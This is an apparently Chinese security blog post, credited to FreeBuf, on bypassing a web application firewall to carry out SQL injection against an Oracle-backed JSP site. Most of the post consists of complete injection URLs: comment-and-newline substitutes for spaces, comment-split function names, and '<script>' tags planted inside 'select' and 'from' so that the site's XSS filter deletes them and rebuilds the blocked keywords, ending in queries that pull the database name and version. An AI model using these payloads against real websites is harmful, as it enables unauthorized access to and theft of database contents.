新型滲透手法:利用XSS繞過WAF進行SQL注入
0x00 前言
看到標題,很多人肯定會一臉懵逼,這是什麼鬼。利用xss繞過waf進行sql注入?話說,沒點意思的文章,我自己也不好意思寫出來啊。
通俗講,就是XSS和sql注入相結合繞過waf。知識要能靈活運用嘛。做一個靈活的胖子(雖然我不是胖子)。
0x0
1起因
咳咳,還是來說下起因吧!最近遇到一個網站,有防火牆,而且極其變態。後來測試發現,竟然是oracle資料庫。對,你沒看錯,是oracle資料庫。
眾所周知,mysql語句最鬆散,曾幾何時依靠/!50000select/ 這種類型和各種變形,可以秒殺很多防火牆,而且網上大量這樣的文章:
mssql語句次之,可以使用多行執行。還可以搭配伺服器使用 se%le%ct 這種繞過方式繞過。
相比起oracle,簡直了。這些招式都不管用。看了很多文章,看不到多少關於oracle注入的文章。繞防火牆的文章更是稀少。繞過變態的防火牆的基本沒有。這一次就遇到了一個比較不錯的素材。給大家分享,交流。
0x0
2SQL注入
初探廢話不多說,實戰開始。加入單引號:
http://www.hacker.com/news/index.jsp?id=2862%27
收集信息如下:字元型注入+oracle。常規測試 『 and 1=1— +
直接被防火牆攔截了,而且攔截有點變態,連anxd都攔。
既然攔截了anxd,我們推測他應該是過濾的後面1=1 那麼我們換成1 like 1試試:
換成and 1 like 1會顯示系統錯誤。在這裡,連最基礎的正確語句都無法執行。可推測,這個網站至少有兩層過濾,一層防火牆,一層代碼過濾。我的內心是這樣的:
這激起了我好勝之心。越難才越有挑戰。另外oracle注入+防火牆,也不是隨隨便便都能碰到的。
0x0
3初生牛犢:
嘗試突破那麼,就開始突破吧!
思考:如果此處為mysql+php那麼繞過也許不會那麼難受,但是此處是jsp+oracle。 Oracle各位黑友流傳出來的語法基本就那麼幾種,像/*!50000 這種類型的都不可以用,所以給繞過帶來了極大的困難。
考慮到防火牆,一般都採用正則的方式進行攔截的。我們嘗試是否有可以替代空格對正則進行繞過,看看waf是否有所疏漏,經過大量測試,發現/%23%0a/可進行繞過。我們嘗試下:
http://www.hacker.com/news/index.jsp?id=2862』 and/%23%0a/1=1—
http://www.hacker.com/news/index.jsp?id=2862』and/%23%0a/1=2—
兩次返回頁面不一樣,成功繞過。想到使用聯合查詢就可以直接獲取想要的數據了,彷彿白富美就在眼前。然後當我滿懷欣喜準備大殺四方的時候,輸入order by 10的時候一臉懵逼:
居然又被防火牆攔截。說明and攔截規則 和 order by 攔截規則又不一樣。
前面不知道大家是否記得我說過了,此處防火牆最起碼有兩層過濾,真是令人窒息的防火牆。
在此處,如果要進行聯合查詢,而基本的order by 都會攔截,那麼聯合查詢更難突破,因為要同時突破unon select from這三個無意是判了死刑。
0x0
4因地制宜:
顯錯注入見到此,我們不能放棄。
聯想到
http://www.hacker.com/news/index.jsp?id=2862%27
有報錯信息,然後就考慮使用顯錯注入:
首先,我們來嘗試獲取資料庫名。
http://www.hacker.com/news/index.jsp?id=2862"and/*%23%0a*/1=utl_inaddr.get_host_name((ora_database_name))--
訪問後結果如下:
被攔截,意料之中。
經過測試發現攔截了utl_inaddr.get_host_name函數。眾所周知,mysql可以用/!information_schema/.SCHEMATA 此語法進行繞過測試。但是oracle是肯定不支持此語法的。不信我們試試:
http://www.hacker.com/news/index.jsp?id=2862"and/*%23%0a*/1=/*!utl_inaddr*/.get_host_name((ora_database_name))--
可以看到,執行失敗,語法是錯誤的。我們不要灰心。
此處,我們思維就需要進行改變,我們不能像這種形式:
但是可以這一種:
然後進行嘗試:
http://www.hacker.com/news/index.jsp?id=2862"and/*%23%0a*/1=utl_inaddr./*%23%0a*/get_host_name((ora_database_name))--
成功繞過並執行成功,並且出庫。在挖漏洞的時候大家肯定到此處就完了,因為可以證明漏洞存在了,並且可以被利用了。
但是,我們此處想要的是bypass waf繞過。有時候就得對自己要求高一點。
0x0
5高潮迭起:利用
組合拳進行突破我們考慮到,一般防火牆對select 和 from過濾是最嚴格的。因為and 等只是探測,而select form是可以直接查詢出數據的。所以,構造一個含有select from語句對防火牆進行探測,是很有必要的。
構造如下語句來獲取資料庫版本(包含select from):
http://www.hacker.com/news/index.jsp?id=2862"AND 1=ctxsys.drithsx.sn(1,(select banner from sys.v_$version where rownum=1))--
意料之中的被攔截。加上前面的繞過空格試試能不能繞過:
http://www.hacker.com/news/index.jsp?id=2862"AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(select/*%23%0a*/banner/*%23%0a*/from/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--
依然被攔截。又在意料之中!
那麼如何進行突破呢?此處我們需要換種思路,對常見的xss進行測試如下:
我們發現了什麼?結果顯示只是帶入了單引號,而<script>
卻不見了。不應該啊,難道是系統給清空了?
為了確定我們的想法,我們再次進行嘗試:
驚不驚喜,意不意外,開不開心。會自動把<script>
替換為空格:
那麼我們的語句就可以進行如下構造,改的連我們自己都不認識了:
http://www.hacker.com/news/index.jsp?id=2862"AND/*%23%0a*/1=ctxsys.drithsx.sn(1,(sel<script>ect/*%23%0a*/banner/*%23%0a*/fro<script>m/*%23%0a*/sys.v_$version/*%23%0a*/where/*%23%0a*/rownum=1))--
然後執行看看:
可以看到,成功繞過了select from的限制。關鍵字過濾也被突破了,而且又對括弧和點未進行過濾,那麼其他的語句,我們就可以自行構造。想要獲取什麼都可以了。
0x0
6後記:有趣的靈魂
個人認為,基礎的知識點,你知道的,別人也知道。只要能在互聯網看的到的,都是大家所知道的。如何把所學的知識點串聯起來,並且進行融會貫通,這是我們需要去做的。
這不光是xss和sql注入組合型攻擊的利用,也是常見繞過waf的組合型利用。
有一句話叫什麼來著,好看的皮囊千篇一律,有趣的靈魂萬里挑一。不嘗試下,都不知道自己那麼有趣。
*本文作者:風之傳說,本文屬 FreeBuf 原創獎勵計劃,未經許可禁止轉載。
※網易雲音樂PC客戶端加密API逆向解析
※關於網路釣魚的深入討論
TAG:FreeBuf |